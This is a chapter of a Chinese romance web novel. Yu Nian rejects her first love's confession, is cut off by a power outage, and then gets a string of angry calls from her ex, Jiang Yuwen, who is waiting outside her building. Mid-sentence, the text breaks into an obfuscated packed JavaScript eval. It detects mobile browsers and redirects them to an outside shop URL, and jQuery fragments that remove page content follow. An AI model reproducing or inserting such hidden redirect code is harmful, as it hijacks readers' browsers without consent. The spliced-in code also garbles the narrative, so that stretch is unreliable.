翌日周五,结束了一天营业后虞念提前关店。
俞叙南照旧同她一道。
牵着狗,两人散步回去。
沿途路过小吃街,看着一对对大学情侣穿梭在熙攘人群中,俞叙南不免有些怀念。
回忆起以往种种,总觉得时间流逝飞快,几年就这么过去了。可一旦想起,那些尘封的记忆又像笋尖似的,一个个往外乱窜,越窜越清晰。
“你还记得吗?你大三实习那段时间,每天下班咱们就在你公司附近那条商业街转悠。诶,差不多每家店我们都吃过吧?”
夏夜凉风带起裙摆,捎来模糊画面。
“好像是。”虞念敷衍点点头。
俞叙南却像是察觉不到她的情绪,执意要把两人拉回曾经,“改天我们再去那里看看吧,你觉得怎么样?”
“嗯?”虞念视线从手机屏幕转移到他身上,困惑地看着他,“你说什么?”
“没什么。”俞叙南默默叹了口气,“忙什么呢?”
“不好意思啊。最近接了个单子就快到时间了,但我这边设计图一直没画出来,所以有点着急。刚刚我爸发了几张照片过来,一时没注意你讲了什么。”
“没事。”俞叙南笑笑,“叔叔阿姨身体还好吧。”
“挺好的。”
“我也很多年没见到他们了。”
“总有机会的。”
俞叙南暗自凑近几步,探头看向她手机,“很棘手吗?”
“也没有。”虞念说,“只是是一个老朋友要送人的礼物,总该多花点心思。”
她瞥了他一眼,将虞伯楷发来的图片点开放大,“要不你帮忙看看,觉得哪张比较张扬一点?”
“我吗?”俞叙南虽不懂这些,却还是接过她手机比较起来,“好像都不错,又好像都少了点什么。”
“这都是虞叔画的?”
“嗯。”
“我这几天看你在店里忙着画,想必也是为了这个?”
虞念点头,手机被丢回包里。
俞叙南见她心不在焉,也没了追忆往昔的兴致。
出于好意,他讲了两句自己的直观感受:“之前无意看了几眼,我觉得你的色彩和虞叔的画风结合一下效果应该会更好。”
虞念突然停下脚步。
“怎么了?”俞叙南跟着停了下来,“我随口说的,惹你笑话了?”
“完全不会。”虞念忽地扬起一抹笑,颇为感激看向他,“你的话算是点醒我了。”
虞伯楷喜水墨风,用色总喜欢饱和度比较低的颜色,以保持整体低调内敛;但她不同,虽然她也主画花鸟山水,但喜欢调试一些比较艳丽的色彩以吸睛。
习惯久了自己察觉不出,反而是俞叙南凭着第一感觉道出关键。
“是吗?那我还算有点艺术细胞?”
“要是你不想干了可以来我店里。”
……
两人你一句我一句调侃着,不知不觉就到了虞念楼下。
这是这几天以来气氛最融洽的一次,俞叙南看着她,心生不舍。
“那我先上去了。”
“嗯。”
俞叙南目送她半个身子嵌入阴影,突然又喊住她:“虞念。”
那道倩影顿住,慢慢转过身。
“嗯?还有事吗?”
“其实——”俞叙南动了动手里紧攥的牵引绳,拉着小鱼走了过去,“其实,你有没有想过——”
“俞叙南!”虞念一瞬察觉到什么,眸光闪烁,“能不能别说出口?”
“别说出口,我们还能做朋友。”
俞叙南不得不感慨她的敏锐,果然,在某方面两人之间的默契从未消失过。
他有些认命地重复一遍:“只能做朋友?”
“嗯。”虞念坚定。
楼道口的感应灯亮了又灭,两人都没再说话。
良久,俞叙南妥协。
“那就这样。”虞念视线移到小金毛身上,“明天周六你正好有假,小鱼就别送店里来了吧,人多,我可能忙不过来。”
“没事,我带它去店里帮你。”俞叙南淡然一笑,“我们是朋友,不是吗?”
“但是——”
“打打下手我还是会的。”
话说到这份上,再推脱反而显得她太过在意。
算了。
她耸耸肩,接受了他的提议。
“时间不早了,回去吧。”
“好。”
-
周末通常是客流量比较大的时间段,有了俞叙南的帮忙,确实轻松了点。
虞念计划回去几天,手头的事必须今天处理完,联系好顾客前来提取手工品,不能准时拿走的便只好让他们过几天再来。
忙碌到九点半,收工回家。
如昨天一般,两人结伴而行。
默契地忘了昨晚的小插曲,一切照旧。
到楼下后,因为麻烦了俞叙南一天,虞念多多少少有点愧疚,便问了他一句“要不要上去喝口水”。
俞叙南坦然接受。
两道身影前后上行,不多时,六楼的灯亮起。
虞念请他和小鱼坐下,随后去厨房拿了个一次性杯子为他接了杯温水。
俞叙南喝了一口,放下。
“对了,你什么时候回去?”
“明天。”
“明天?”他愣住,“这么突然。”
“前几天就计划好的。”
俞叙南点头,“那到时候坐我车一起吧,我捎上你。”
“你也要回去?”
“嗯。”
虞念正打算问问他原因,好验证到底是不是真这么巧。
不料这时房子里的灯突然熄灭,周遭猛然陷入黑暗。
“怎么回事?”她惊呼一声,随后掏出手机打开手电筒,“是不是跳闸了?”
“有可能。”俞叙南问她,“电表在门口吗?”
“嗯。”
“我去看看。”
“啊!”
动静不小,俞叙南停住脚步回头,只见虞念半坐在地上捂着脚掌。
“撞哪了?”
“脚趾头。”
俞叙南只能暂时先去处理她的伤口。
“药箱有吗?”
“茶几下面。”
忽然,一阵清脆铃声打断俞叙南翻找的动作。
“手机。”他出声提醒。
“先不管了。”
刚刚起身被沙发绊倒,手机没抓稳早已不知道甩哪去了。
脚趾的阵痛尚未缓过劲来,哪还顾得上什么电话不电话的。
“你先找药箱吧。”
……
机械女声的提醒在寂静车厢内异常刺耳,手机被江聿闻甩至中控台,“嗡”的一声后自动挂断。
透过挡风玻璃向上望,六层一片漆黑。
他从车上下来,踱步
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973144|147199||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
走到车头前的一棵大树下。
手里的烟灰被风吹得稀散,星星点点附着于昂贵的衬衫袖摆。
不耐拍了两下,手机屏幕再次被唤醒。
江聿闻着魔似的又点进与许经序的聊天记录框,看了眼下午他发的那张照片,蓦地从胸腔中溢出一声冷嗤。
照片中,虞念和一男的在店里面对面坐着吃饭,谈笑嫣然。
要不是许经序路过看到,他还不知道虞念已然有了新情况。
什么狗屁初恋,八百年前的旧人了还出来刷存在感。
江聿闻回想起许经序给他发的有关俞叙南的资料,心底陡生出一股烦躁。
九点半从公司开车出来,绕过南区时堵了一会儿,到店时里面空无一人,没逮到人后又匆匆赶来这里,直到目睹两人一同上楼,他暗自将车子熄火。
六楼的灯亮着时,他莫名长舒了口气。
可没多久,那层便陷入黑暗。
警觉地盯了会儿单元门,没人出来。
那通电话确实拨得急了些,可如今站在这冷静了会儿,心底的叫嚣不减反增。
他退出聊天框,再次寻到虞念的电话号码,没犹豫,又拨了出去。
等待对方接通时,手里的烟烧到了尾部。
他维持着手机贴耳的状态回到驾驶座,从车兜里掏出盒子,又抽了一根出来。
电话再次自动挂断,还是没接。
江聿闻少有的耐心见了底,暗啐一声,车门“砰”地关上。
他倒要看看,这电话她是不是铁了心不接。
电话号码后面的数字逐渐累加,漫漫长夜,男人伫立在悬铃木下不知疲倦地重复着这个单调动作。
-
“虞念。”俞叙南将房子翻了个底朝天后才终于在她卧室的床底下找到药箱,“真有你的,怎么会放在床下。”
“我自己都不记得了。”
“坐那吧,我给你喷点药。”
突兀地铃声催命般又响了起来。
“第六遍了,你怎么不接?兴许是急事。”
“我也想啊,吵得我脑袋疼。”虞念无奈瘪瘪嘴,“但我刚刚在沙发上找了,没看见。可能掉下面去了。”
她看着由两个分体皮质沙发拼接而成的庞然大物,束手无策。
现下黑灯瞎火,再加上脚痛,实在没力气折腾了。
俞叙南把药瓶放在茶几上,示意她先站起来。
“我来吧。”
沙发被一点点挪开,手电筒的光亮慢慢渗透出来,刺眼的目标面朝下贴在墙壁处。
俞叙南凑过身捡起,“还好,屏幕没碎。”
“甲方江?”
虞念轻轻皱了下眉头,接过手机。
“你接吧,我先给你喷药。”
她点点头,“喂”了一声。
“嘶。”
“很疼?”俞叙南低声用气音询问。
“有点。”她撇开手机做了个嘴型。
才又把手机贴回耳侧,不料那端突然传来一声低吼。
“虞念。”顺着电流都能听见他沉重的呼吸声,“我好像记得有人说过不爱吃回头草。”
“怎么突然这么说话?”她不明所以挑挑眉,注意力全在自己脚趾头上。
“下来。”
裹挟着冷气的嗓音仿佛扑面而来。
她这才察觉出他语气不对。
江聿闻又重复一遍:“下来。”